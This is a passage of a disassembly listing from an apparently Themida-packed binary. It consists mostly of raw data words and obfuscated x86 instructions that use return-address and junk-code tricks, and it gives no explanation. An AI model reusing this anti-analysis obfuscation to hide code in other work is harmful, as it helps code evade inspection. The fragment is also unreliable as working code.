95A243DAh, 3B3EFBB5h dd 48F5753h, 0DE80Bh, 7F4B0000h, 0B0B1F294h, 0E64948A1h dd 5A6C4F38h, 0F804E983h, 8F74F981h, 850FFFFFh, 19h, 29E9D48Ah dd 58000000h, 3C5D26DBh, 6C53225Eh, 46DF6AC6h, 2BA31E64h dd 0FF70E92Fh, 0B548FFFFh, 80893330h, 2B8B5C44h, 0DFEB86F7h dd 9DA8C8D1h, 0BE8h, 8E48600h, 459FEE9Bh, 47A7CBA1h, 59D98B66h dd 0E668C181h, 0B8660000h, 682CB3h, 0B8000000h, 183A9182h dd 8BD38B5Eh, 55BB313Ch, 815D9B75h, 9B5E33C7h, 0D5EF8163h dd 0BB2A3B27h, 1F5465B9h, 7DE5C781h, 0C1BA3EC1h, 890F0C63h dd 0E960313Ch, 0Fh, 0B093BF31h, 50CAB4F3h, 5942704Dh, 0F487DC6h dd 0F61FAB7h, 0EE83D7BFh, 81FCB204h, 0FF1A14FEh, 0AC850FFFh dd 81FFFFFFh, 9B0F5AD3h, 3BE964h, 8B600000h, 140C01BDh dd 4EF8306h, 0C18BC933h, 0B88320BBh, 4C783EDh, 8BEh, 1BE8D100h dd 33D323D2h, 850F4EC2h, 0FFFFFFF1h, 81078941h, 100F9h dd 0D3820F00h, 61FFFFFFh, 8DC88BC3h, 1B526F8Dh, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0BD8BCB16h, 614076Dh, 2B698D89h, 6A0614h, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 0BE6824C3h dd 0BB9C14BBh, 0EBA6642h, 5585C74Ch, 0B4061410h, 6A000073h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 0DA33C353h, 832D30EFh, 79D9523h, 85C70614h dd 614013Dh, 0 ; --------------------------------------------------------------------------- xor [ebp+6140D2Dh], edx push dword ptr [ebp+61411C9h] push 0 push ecx call sub_5F2DE3 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F2DE3 proc near ; CODE XREF: Themida_:005F2DDBp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5F2DE3 endp ; --------------------------------------------------------------------------- db 0B7h dd 0AFCF73A7h, 0CB816606h, 95FFF393h, 6140BD9h, 95FF006Ah dd 6142971h, 1FEBC08Bh, 0C3F95BA0h, 0C3DACFF8h, 7A9B3493h dd 9148591Ch, 1D89465Ah, 597CB59Ch, 88056CE8h, 0E9EAF165h dd 18h, 11D2F051h, 5 dup(0) ; --------------------------------------------------------------------------- jmp loc_5F3371 ; --------------------------------------------------------------------------- db 0D2h, 0B2h, 0FFh dd 0E29BAC3Bh, 0B86811Eh, 336A9807h, 5C5170EFh, 0C97953D8h dd 0A443C7BAh, 0BD2AEEA7h, 95121691h, 99F43873h, 0C0B68522h dd 86CD55EBh, 36656702h, 4E4B4605h, 6867F8C4h, 4A470635h dd 55DF3B53h, 8D00029Dh, 0ADE0E27Dh, 0CCC1C29Dh, 0D83F98BCh dd 20E497A9h, 0C108B87h, 0C3C7793h, 5E78C99Fh, 9466CDD9h dd 0C9C4C19Eh, 0E09DAEB1h, 17C97E8h, 87EE7109h, 56BD9C83h dd 9C601B37h, 71F999EFh, 0F80123DAh, 2863653Ah, 0FAAD9110h dd 0FD9253F0h, 8F289B96h, 53F0FABCh, 0B9D45337h, 84AA36FCh dd 128594F4h, 3Eh, 3665679Eh, 929AA706h, 2A9953F0h, 41793453h dd 2EE28537h, 0B4D8041Bh, 787A917Eh, 8594B9B2h, 1CCh, 6667E800h dd 47780737h, 2B592656h, 533C5870h, 81FC0D3Ch, 0ADE0E27Dh dd 6867AB69h, 497A0535h, 76512754h, 7BBFD393h, 7708B47Eh dd 0BA29215Ch, 0F010CE7Dh, 26C14553h, 0AA5C6C29h, 0CAC7066Dh dd 0BAD9AFD3h, 1D88D853h, 97E9B4E7h, 1C2BE032h, 29D61h dd 7F0E7D8Dh, 3D85A51h, 207D8D08h, 6E8CCE25h, 68859548h dd 89h, 0D7F48B44h, 0E82AAEDEh, 62991433h, 84B4EF1Bh, 0ADB2F200h dd 0B3D7E7A2h, 6F9EADC4h, 43421932h, 930CC44Eh, 7E013974h dd 98255550h, 26C4167Dh, 5085948Bh, 0EC67C500h, 20F220A9h dd 7947h, 68676D00h, 4E7A0535h, 23243B53h, 0FB0D526Ah dd 315E8880h, 6F94A2DAh, 0AF497837h, 8CC4B78Bh, 0F05BCE70h dd 41846559h, 6131C157h, 264D12E0h, 0A355740Bh, 7BDFEFA6h dd 0FF0EDD57h, 911E8982h, 53F09AA2h, 23D75D21h, 0C56667D1h dd 0C0CE709Dh, 5D6D9189h, 0F07062DCh, 49444053h, 95222E31h dd 70F7E1D2h, 9BB3D789h, 6CB6DD3Ch, 0AEACC3ACh, 85953C80h dd 11Eh, 6C679A00h, 0D3AA1931h, 50C3FBB2h, 0F09264D7h dd 779BFF53h, 0E9E19CA8h, 0D6E8A76Dh, 0B8D594A7h, 107737FDh dd 90BBCA21h, 90711115h, 856D7E4h, 0E949DC62h, 0F80A5565h dd 0E4E68185h, 5B2291A9h, 0C246762Dh, 82F84530h, 44F355E4h dd 0B1EC1E2Dh, 5EECCA9Ah, 0DC8F054Fh, 0FB354Ah, 4AC82E8Fh dd 0BCEF118Eh, 0CDD1F38Ch, 0E493D160h, 0CAEE5255h, 0E5A0ADB2h dd 177D8AD5h, 0E493BB96h, 30543855h, 0CC236C18h, 491F7046h dd 0BFCA8A76h, 0D84ECAC2h, 0C8FF2D54h, 38C7DACh, 2FE53B5Fh dd 0A4451CDAh, 88EF8C86h, 27544779h, 79882A58h, 6C90F404h dd 9846F2A6h, 268BA909h, 14Ah, 1B6180F2h, 79FD90E0h, 5FFA0CD4h dd 0E15818EBh, 74BEA219h, 0F36CEA4Bh, 968549DCh, 0E4F73A09h dd 1F2EB955h, 0CAEE6A62h, 262596A6h, 0F85C6C29h, 241E1126h dd 21F380AAh, 0E125586Ah, 32494446h, 0AC661D2Bh, 4E3D4F10h dd 0C897883Eh, 0F948D5BBh, 7A55E42Bh, 7EDAF216h, 6DC0D7B4h dd 2B86B5F2h, 99B655E4h, 1468EC1Ch, 1B2DE230h, 0F9146B60h dd 0D2F38CBCh, 327A3DBh, 479541F1h, 578BA945h, 44h, 1F65805Dh dd 929043ECh, 0EF53D3F0h, 0EC1D6CDFh, 0C77263B1h, 0F0D3F092h dd 5615086Fh, 0C4407835h, 1793764Eh, 927E4255h, 2C5F43C8h dd 0F023D083h, 1C2F1353h, 0D946414Dh, 7DD9F1ACh, 832903B7h dd 47000000h, 0E01B6180h, 2C83FF75h, 9169D845h, 66EA53F0h dd 47D71EB0h, 0C206C0CDh, 9BFF49DCh, 4CEA1960h, 0D55F433Ah dd 2E7496E9h, 0E422B281h, 294D3155h, 0B6D796E5h, 6C9E4DC7h dd 42431A31h, 5DD7334Bh, 237CC061h, 0DA7555E4h, 3B7294B3h dd 0A7E8FF7h, 105A63F1h, 4BC4ECF3h, 16B1FEC9h, 0AD4FCF0Ch dd 0BCCE91A9h, 94B6C9C1h, 709EE119h, 96410535h, 0A594BB7Fh dd 4309D84Eh, 0A1C8EF48h, 1F6345F4h, 6180D91Bh, 6047E01Bh dd 9B49DB21h, 551487B7h, 3F407833h, 0BF759914h, 6BAFDEE0h dd 0BBD3CAFCh, 0B199E27Ah, 0F910FFBDh, 133EB8CAh, 0E9E26696h dd 1469FD4Ch, 0EE12764Eh, 108BBD2Ah, 326967F8h, 0BED6AE19h dd 0B98B95AFh, 7DB88BD2h, 573B4E14h, 0B766E1DDh, 6C1F2160h dd 9E0D3FA8h, 85C6Eh, 8CDA0000h, 4944401Fh, 676741CBh dd 497B0434h, 29253A52h, 4015E6Eh, 0DFEE7189h, 0B6D5AAA2h dd 8EBCC3FBh, 6D98E717h, 46471830h, 511F2757h, 0C181E189h dd 4, 8704E983h, 248B240Ch, 37EC6824h, 2C890000h, 0C656824h dd 0C890000h, 58A3BD24h, 0BA525054h, 3F1B15ABh, 0F75AD521h dd 6EDC1DDh, 0F581D5F7h, 0FA5B12F7h, 4EC81h, 24890000h dd 24048124h, 4, 8BB5359h, 1000000h, 0B951CBh, 1000000h dd 592989D9h, 240C8B5Bh, 81E18951h, 4C1h, 4C18100h, 87000000h dd 8B5C240Ch, 8953242Ch, 4C381E3h, 83000000h, 1C8704C3h dd 15E95C24h, 0C2FFF929h, 0F0B42146h, 638E50F5h db 0C2h ; --------------------------------------------------------------------------- loc_5F3371: ; CODE XREF: Themida_:005F2E4Cj mov eax, 61B573Bh add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 850Fh dd 37317888h, 765A6DF0h, 6166559Ch, 0EE452B2Dh, 5AB2411Dh dd 7F701B8Ah, 981125CFh, 2CE058B2h, 0CA13258Ch, 1F8D5021h dd 59996655h, 74103696h, 0F29B10C7h, 3C1616DEh, 209B4505h dd 62C5859h, 0FBC66549h, 0E12A5D26h, 0F7867EDh, 0BB1A7C15h dd 773055ABh, 0E72E4487h, 9B9825D3h, 0ACAD2CF6h, 0AD8D7656h dd 438326EFh, 35D71D9Fh, 0BE8757Bh, 95000000h, 0CC68D261h dd 4404D1A3h, 9E97D60h, 0BE000000h, 0B636FBEDh, 0EC647C4Ah dd 0F281665Fh, 0C7815555h, 6CEDh, 0E98CB850h, 33582283h dd 8BDC8AF6h, 8060370Ch, 0F28B58CBh, 76F18161h, 800A712Fh dd 0E98117C6h, 317F7EA5h, 0E774EB81h, 0E98128C2h, 55827078h dd 815126B2h, 88FE06C2h, 37048F50h, 0B840Fh, 0F600000h dd 8A0FD6B7h, 0 ; --------------------------------------------------------------------------- popa jo loc_5F346C or bx, 9FEAh loc_5F346C: ; CODE XREF: Themida_:005F3461j sub esi, 2 mov bl, 44h dec esi dec esi mov edx, esi cmp esi, 0FFFF93D4h jnz loc_5F3498 movsx eax, ax jmp loc_5F34B4 ; --------------------------------------------------------------------------- db 6Ch, 0Fh, 58h dd 0C8CD013Dh, 55B9FCD4h, 0F7AA0652h ; --------------------------------------------------------------------------- loc_5F3498: ; CODE XREF: Themida_:005F347Bj push edx mov eax, edx pop eax jmp near ptr dword_5F337C+0A3h ; --------------------------------------------------------------------------- mov ah, 0D6h db 64h scas byte ptr es:[edi] sti loc_5F34A7: ; CODE XREF: Themida_:005F34ACj cmp [ecx+3], ebx shl dl, cl jnz short loc_5F34A7 aad 23h cli sbb dword ptr [edx], 49h loc_5F34B4: ; CODE XREF: Themida_:005F3484j jmp short loc_5F34CC ; --------------------------------------------------------------------------- align 4 dd 4 dup(0) dd 1010000h ; --------------------------------------------------------------------------- loc_5F34CC: ; CODE XREF: Themida_:loc_5F34B4j test [ebx], al ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- sbb eax, [esi] mov ebx, [ebp+6141E95h] push eax jmp loc_5F34E5 ; --------------------------------------------------------------------------- add esp, esp or eax, 6C16F223h loc_5F34E5: ; CODE XREF: Themida_:005F34D9j mov [esp], eax mov edi, edx push 0 sbb di, 6C8Ch push 0 push 0 push ecx call sub_5F34FE and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F34FE proc near ; CODE XREF: Themida_:005F34F6p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_5F34FE endp ; --------------------------------------------------------------------------- dw 1B62h ; --------------------------------------------------------------------------- stosb retf 9DF6h ; --------------------------------------------------------------------------- and al, 17h lea eax, [ebp+61B59D1h] xor bl, 17h push eax mov bl, 4Ah mov [esp], eax or ecx, 37722858h push 0 adc edx, 7549C0CFh push 0 mov dx, 1ECCh call dword ptr [ebp+6141B19h] mov ebx, [ebp+61400D1h] jmp loc_5F3A17 ; --------------------------------------------------------------------------- push 0 push esi call sub_5F3555 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F3555 proc near ; CODE XREF: Themida_:005F354Dp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_5F3555 endp ; --------------------------------------------------------------------------- db 0BFh, 0D1h, 28h dd 8B80B0EAh, 0E8CFh, 815D0000h, 1B59D6EDh, 50006A06h ; CODE XREF: Themida_:loc_5F39C4j dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 0FE9F7h, 66B60000h, 222E5AE9h, 6022CD03h, 60B578ABh dd 18BB66C4h, 5820FA0h, 0B9000000h, 7B9AFAD7h, 7363A768h dd 8142B106h, 6C072434h, 8B600673h, 1413098Dh, 0F1858B06h dd 6106141Ch, 297195FFh, 6A0614h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 9CA831C3h, 8DA64D56h dd 1B591AB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 9D8B6F3Ah, 6141B01h, 655206C7h, 8D8B6D67h dd 6141269h, 1FF58D01h, 46C70614h, 636E6F04h, 51BD296Ch dd 0C7061410h, 73610846h, 958B0073h, 6141609h, 188E0Fh dd 0E8600000h, 0Ah, 0B8125759h, 0D52C608Dh, 895E86B8h dd 1434918Dh, 6A6106h, 1A858DF8h, 6A061B59h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 26D2C356h, 0C3E38FE6h, 0BD29D32Ah, 6140191h, 4676D281h dd 575036DCh, 24048959h, 12899D33h, 95FF0614h, 6140411h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 62C35747h dd 20EE422Fh, 3ABF66DCh, 0FC00B54h, 2D84h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0BD8BC203h, 61416BDh, 2C2E9h, 4963BB00h, 4E81C52h, 2C000000h dd 8A000001h, 0FB8B50DEh, 424448Bh, 7E8008Bh, 4E000000h dd 79A5F166h, 506023F4h, 5A310F52h, 895F6158h, 0E8042444h dd 0Eh, 5711D1A6h, 810AB51Ah, 32E9CEAEh, 0AEB2047Eh, 6A5859h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 0C53CD2C3h, 719D8912h, 0FF06140Ah, 14297195h, 0F98B6606h dd 591AB58Dh, 0BF0F061Bh, 3106C7D1h, 66363438h, 86F6D281h dd 370446C7h, 6A31342Dh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 0C755C353h, 846h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 0F56BC2C3h, 858941D9h, 6142B21h, 6A006Ah, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 0FC2843C3h dd 66537C8Dh, 5904EFB9h, 26DBD89h, 858D0614h, 61B591Ah dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 3DC35646h dd 0DE8B2B7h, 0A5000000h, 388B5B1Ah, 6DB872BAh, 0D042B154h dd 5FCF8B66h, 0CE8B6690h, 2880F50h, 8B000000h, 0CE890CFh dd 2E000000h, 0CE700995h, 0E335F5Bh, 0E9FCDA4Eh, 5, 78727A29h dd 95FF5A92h, 6140411h, 2BD9D8Bh, 0C00B0614h, 10840Fh dd 0B5890000h, 6141339h, 136E9h, 14C8BF00h, 5868473Fh dd 0E9A0243Fh, 0Dh, 22F0EB41h, 5E04C365h, 59A6C17Ah, 24048162h dd 5FDBC1D4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 40C35343h, 89ADBA15h, 1400718Dh, 7195FF06h, 0B9061429h dd 68BC8EC3h, 591AB58Dh, 0BD8B061Bh, 61402EDh, 6FDB8166h dd 4606C772h, 0C7656C69h, 6F6D0446h, 0D181636Eh, 8842142h dd 6C0846C7h, 81737361h, 80DFE4C2h, 0C46C73Fh, 0 ; --------------------------------------------------------------------------- mov [ebp+614014Dh], edx push 0 sub [ebp+6141C41h], edi mov edx, 708A81CFh lea eax, [ebp+61B591Ah] mov [ebp+6140B71h], ebx nop mov dh, 9Bh push eax nop movsx ebx, dx call dword ptr [ebp+6140411h] mov dx, 6BA5h add bl, 94h or eax, eax jz loc_5F39C4 push 0 push esi call sub_5F396B and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F396B proc near ; CODE XREF: Themida_:005F3963p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_5F396B endp ; --------------------------------------------------------------------------- div byte ptr ds:0D8D54C4Ch sar byte ptr [ecx-3548F0ADh], cl movzx ecx, dx jmp loc_5F39CF ; --------------------------------------------------------------------------- push 0 push ebx call sub_5F399A and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F399A proc near ; CODE XREF: Themida_:005F3992p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5F399A endp ; --------------------------------------------------------------------------- dw 0FF7Ch dd 0F78CB5ACh, 0FE9h, 0C6429700h, 4E378950h, 8A0632C1h dd 35B9243h ; --------------------------------------------------------------------------- loc_5F39C4: ; CODE XREF: Themida_:005F395Aj jmp near ptr dword_5F3568+5 ; --------------------------------------------------------------------------- mov [ebp+614169Dh], esi loc_5F39CF: ; CODE XREF: Themida_:005F398Aj lea esi, [ebp+61472AFh] mov ecx, edx mov eax, 0 jmp esi ; --------------------------------------------------------------------------- push 0 push edx call sub_5F39E9 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F39E9 proc near ; CODE XREF: Themida_:005F39E1p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_5F39E9 endp ; --------------------------------------------------------------------------- db 0E8h, 1Eh, 1Fh dd 46C478A4h, 0DE8C3h, 0DE9B0000h, 5E847995h, 31F0B0FAh dd 0F66E7F5h db 0BFh, 0C8h, 5Fh ; --------------------------------------------------------------------------- loc_5F3A17: ; CODE XREF: Themida_:005F3545j mov eax, ecx lea ecx, [ebp+61B5F2Fh] mov esi, 79C1C190h mov [ebp+6142B69h], ecx or edi, [ebp+6140D35h] mov dword ptr [ebp+6141055h], 7268h push edi mov [ebp+6140261h], esi pop ebx jmp loc_5F3A4C ; --------------------------------------------------------------------------- db 0FAh dd 9B593D2h ; --------------------------------------------------------------------------- loc_5F3A4C: ; CODE XREF: Themida_:005F3A42j mov dword ptr [ebp+614013Dh], 0 push 0 push edx call sub_5F3A61 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F3A61 proc near ; CODE XREF: Themida_:005F3A59p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5F3A61 endp ; --------------------------------------------------------------------------- db 8Ch, 23h, 63h dd 3640DC41h, 80B2DDDDh, 860FBBDAh, 6, 509958Bh, 8E0F0614h dd 6, 975BD89h, 0B5FF0614h, 6140E15h, 0BD995FFh, 6A0614h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 89BF2C3h, 837C7798h, 95FF006Ah, 6142971h, 5FEBC08Bh dd 413013B5h, 0BA7177F3h, 1EFBD541h, 0D21C0508h, 7166CED5h dd 0F5D3BAFBh, 0E9C431B1h, 245D9E98h, 471BC5D7h, 6DD9893Ah dd 720457ABh, 9C82F492h, 2E43030h, 0E843A85Eh, 0BCDC2A6h dd 0B4234F35h, 7DFCF83Ah, 2AA59876h, 23274E45h, 91B20CCCh dd 40CAC4FCh, 0DAFF7A54h, 9FBAAF13h, 0FEDDBBB1h, 0E9E1FCAh dd 4A169CA8h, 0E9F5A8Ah, 0EAD5ABA8h, 0E9F3275h, 4A179AA8h dd 0AE5DBA8Ah, 4A147757h, 0E9C228Ah, 0EAD5ABA8h, 0E9CF575h dd 4A14A5A8h, 0E9D778Ah, 4A1527A8h, 0E9DE98Ah, 0EAD5ABA8h dd 0D42F2575h, 13313416h, 0E37C003h, 90A752B3h, 57B924A6h dd 4AB3D121h, 0D42F4391h, 1331352Bh, 0E3FC003h, 90A752B3h dd 57B92451h, 4A8FD121h, 0D42F4391h, 1331369Ah, 0E0BC003h dd 90A752B3h, 57B9270Dh, 4A9BD121h, 0D42F4391h, 13313663h dd 0E17C003h, 90A752B3h, 57B9269Eh, 4A97D121h, 0D42F4391h dd 133137FDh, 0E63C003h, 90A752B3h, 57B9261Ch, 4AEFD121h dd 0D42F4391h, 1331377Fh, 0E6BC003h, 90A752B3h, 57B9219Ah dd 4AE7D121h, 0B8C34391h, 152A5012h, 0D24ECEDFh, 0FD4AA86Ch dd 51A2458Ah, 6DC0D5F2h, 96A45EEAh, 152AA8EDh, 2429458Ah dd 96E367A0h, 0D5ADBAB4h, 152A54A1h, 5564C6CBh, 0EAD5BA41h dd 0AE63CE75h, 13FAD3Ah, 5342848Ch, 0EA2211ABh, 245D55FFh dd 9C3AABA4h, 0DAC3B9CFh, 0D7E3A8EDh, 0DAF74586h, 0E9EED744h dd 59D7CEEAh, 0D2262923h, 51A2B9CFh, 0AD6C54A8h, 51A24162h dd 0BFEA6603h, 0DB2FEE27h, 13313CE9h, 1129475h, 54A0D902h dd 0AEA45EE2h, 51A1EC79h, 0DC0941AEh, 0E421522h, 3773BA8Ch dd 732ADF10h, 1028C821h, 0EA2C4FC0h, 152BFD5Bh, 9881508Ch dd 4ACA0400h, 0A5FBABAEh, 2C89EFD2h, 0E957DDA4h, 0ADE7CEEBh dd 15229661h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 2DC0D5F2h dd 0DAA45EEBh, 68A15CDDh, 0ADE78286h, 152A54A8h, 0DC30BACCh dd 9E2C40B8h, 0FC69CE52h, 0A5B99783h, 0FA31EFE2h, 54A0D9F9h dd 0AEA45EE2h, 949A0D79h, 551A2320h, 8481328Ch, 5DDF6E21h dd 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h, 15C23454h dd 0BA2458Ah, 74A5BE29h, 24294391h, 1957DFA0h, 515E004Dh dd 532A54A8h, 412FD775h, 0CDA152BCh, 0FC69CE19h, 0A5B9979Bh dd 0FA31EFE2h, 54A0D9F9h, 0AEA45EE2h, 949A0D79h, 651A2320h dd 8481328Ch, 5DDF6E21h, 74D62921h, 985E0001h, 402A5C6Ah dd 9521A901h, 60A13454h, 5DDFCE82h, 15D6116Fh, 0FDA2458Ah dd 1DC9953Bh, 919197B9h, 38F2DE04h, 51A2454Ah, 1AD5A828h dd 51A25E0Eh, 1523EDA8h, 0A055458Ah, 9025862Dh, 51A24586h dd 7332A328h, 37AA8E4Bh, 0BE4C9723h, 0D8AE38A1h, 9E4BA8D5h dd 936BB9CFh, 9E7F54A0h, 0AD66C666h, 1D5FDFC8h, 96AE3801h dd 152AA8EDh, 0C20E458Ah, 2622B769h, 0FD627658h, 0D5078C22h dd 0D1A2458Ah, 9125AB54h, 51A24593h, 152A5D11h, 0D453B28Ah dd 1FAF5B7Ah, 0E0A2458Ah, 93E25610h, 9191EF4Bh, 19577F03h dd 305E3803h, 0DCD61123h, 4A24D48h, 0D1A9B823h, 24292576h dd 1957DFA0h, 515E004Dh, 0B92A54A8h, 0B2229D00h, 85E1D4A7h dd 0DC088600h, 0E421522h, 0E173BA8Ch, 9FA7FEF8h, 57B92DCBh dd 0D6A08557h, 5DDF6E20h, 74D62921h, 985E0001h, 402A5C6Ah dd 9521A901h, 60A13454h, 5DDFCE82h, 15D6116Fh, 0E9A2458Ah dd 152A54AFh, 445BD775h, 452652BCh, 1028C820h, 0EA2C4FC0h dd 0FB2BF55Bh, 3186949Bh, 59622E85h, 0A58050ACh, 2C89EFAEh dd 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 9E4AA86Ch dd 2C294DFFh, 0E96F93A4h, 51A2458Ah, 87D5FE04h, 57B65507h dd 17868C23h, 0DB2FEF49h, 13313CE9h, 0E9C49475h, 0BE4CBD28h dd 7A088600h, 68A358D5h, 14292476h, 1DE89D54h, 0BD29108Ah dd 75D6902Bh, 0DAAA3001h, 50ED58D5h, 51A24576h, 0EA80F8A8h dd 45B2C818h, 0B9E2DFAEh, 0DC088558h, 0E421532h, 3771BA8Ch dd 73E39410h, 0FB63CF21h, 9C262983h, 0DAC3B9F7h, 0D7E3A8EDh dd 0DAF74582h, 0E9EED744h, 59D7CEEAh, 0D2262923h, 51A2B9CFh dd 0BF8654A8h, 412FD775h, 0DDA152BCh, 0FB637726h, 7D6BCE25h dd 825D4391h, 0E4AAECCEh, 9028EEECh, 19577F02h, 305E3803h dd 0DCD61123h, 4A24D48h, 0D1A9B823h, 24292576h, 1957DFA0h dd 515E004Dh, 732A54A8h, 376B7732h, 54B0D903h, 0AEA45EE2h dd 9592327Bh, 0FD09234Bh, 6801FE04h, 0ADDFCC86h, 0E96FDFC9h dd 51AA8743h, 96C6DFFDh, 0DAC2B94Eh, 68A15CDDh, 0ADE78286h dd 152A54A8h, 0B824FDECh, 8FA7FFCEh, 57B92DCBh, 0A09A8757h dd 0FB0E0320h, 7D6BCE25h, 825D4391h, 0D8ACECCEh, 2C89EEECh dd 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 0FD4AA86Ch dd 51A2458Ah, 75C0D5F2h, 96A45EEEh, 152AA8EDh, 2429458Ah dd 1957DFA0h, 5E917926h, 152A1E2Ch, 5E89798Ah, 152A162Ch dd 5ECA798Ah, 152A492Ch, 5E13798Ah, 152A382Ch, 5EF2798Ah dd 152A5C2Ah, 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah, 60D554A8h dd 59D7BA86h, 4ABFCE25h, 0DCF14391h, 0E4A3832h, 0D871BA8Ch dd 42C3A8EDh, 0AEA2458Ah, 60D558DDh, 0F438C882h, 462C4FF7h dd 31CEDF07h, 0C6D552B3h, 0B85E0003h, 152A5492h, 0AEAE3075h dd 8FA75CDDh, 57B91A3Bh, 79B0D9FBh, 0AEA45EEAh, 0E96FDD7Bh dd 51A25863h, 195FABA8h, 0DCAA3075h, 0E75E932h, 0CB2F168Ch dd 133134C4h, 142B9675h, 152ABD54h, 0DAC3458Ah, 0D7E3A8EDh dd 44BA4582h, 0E9000030h, 0B8h, 0C0443757h, 0B3772627h dd 989C1934h, 868A010Fh, 73B7EA19h, 4F7EC4E8h, 3451CE52h dd 1E2AB579h, 0FE009F63h, 93EE8B8Fh, 0EBF72712h, 0AD17BC55h dd 0F8256967h, 53F09249h, 2A2246CAh, 0FB165556h, 0A9A774BEh dd 0E5D2EF2h, 13778702h, 92A89401h, 0B15453F0h, 0D532CB0h dd 82D89177h, 949E5679h, 70810019h, 0F280C653h, 0D9753B5h dd 1D000000h, 0AC9F188Bh, 2753F092h, 0C3D1D123h, 4346767h dd 3A52497Bh, 5E6E2925h, 71890401h, 0AAA2DFEEh, 0C3FBB6D5h dd 0E7178EBCh, 18306D98h, 27574647h, 6530681Fh, 5E9061Bh dd 3FFFF91Bh, 8C0FE0BDh, 3B45D931h, 2F3E87D0h, 6E8h, 128A7F00h dd 0B57B110Dh, 0A8B25BBDh, 5DEAC381h, 0BA660000h, 0BECACAh dd 0FF000000h, 0DBB21E34h, 9E95Fh, 0F9800000h, 436BF0AAh dd 81FCDCBDh, 4A266FC7h, 0DE856h, 3E340000h, 1B2157BEh dd 7B62B963h, 0F4A094Fh, 8159C7B7h, 3CDFF9C7h, 7E95Fh dd 0D95C0000h, 1FF2827Ah, 2FF78128h, 60545EABh, 0FFEE880h dd 28Dh, 61616000h, 8B333C89h, 0D99EB9CFh, 0EE83756Eh dd 37BA6604h, 0B4FE8175h, 0FFFFFA2h, 0FFFF8E85h, 850F60FFh dd 3, 0FBCDB80h, 584h, 3823B800h, 556164C8h, 5E75FDEDh dd 0A476F67Ah, 0BC56E669h, 8D2CFD49h, 0A082FD25h, 0B7C3FD25h dd 3D21FD25h, 0F813FD25h, 1A09FD25h, 6BD6FD25h, 0D3B7FD25h dd 8FA2FD25h, 0A0E9FD25h, 0B7A6FD25h, 3F1BFD25h, 0F964FD25h dd 1B45FD25h, 6A26FD25h dd 0D1E2FD25h, 8D36FD25h, 259DFD25h, 2295358Ah, 4A76D6A2h dd 0BD5CDE71h, 5A5CF44Bh, 2775FD7Ah, 9775F572h, 0CB74FD79h dd 0ED73FD78h, 0F374F57Dh, 7874FC7Bh, 0BC75FC7Bh, 5E75FD7Ah dd 3E76FD7Ah, 6D75A3D5h, 0CB75A3D5h, 0E475FD7Ah, 0F374FC7Bh dd 9074FC7Bh, 0BC75F8B2h, 0F9F0701Ah, 0A673E610h, 8C1323FFh dd 76F0707Ch, 6C73E610h, 0E91363FFh, 82F0707Ch, 3573E610h dd 451327FFh, 74F0707Ch, 1E73E610h, 0D0135FFFh, 0FFF0707Ch dd 7B73E610h, 62135BFFh, 4F0707Ch, 0D773E612h, 341357FFh dd 5DF0707Ch, 4273E612h, 0FE1353FFh, 12F0707Ch, 0F073E612h dd 0A7134FFFh, 65F0707Ch, 0A673E613h, 8C1343FFh, 0CCF0707Ch dd 6C73E613h, 0E9134BFFh, 5FF0707Ch, 3573E613h, 451347FFh dd 14F0707Ch, 1E73E613h, 0D01343FFh, 90F0707Ch, 7B73E613h dd 621333FFh, 28F0707Ch, 0D773E613h, 34132FFFh, 20F0707Ch dd 4273E613h, 0FE132BFFh, 0F2F0707Ch, 0F073E610h, 0A7133FFFh dd 69F0707Ch, 0A673E610h, 8C133BFFh, 19F0707Ch, 6C73E610h dd 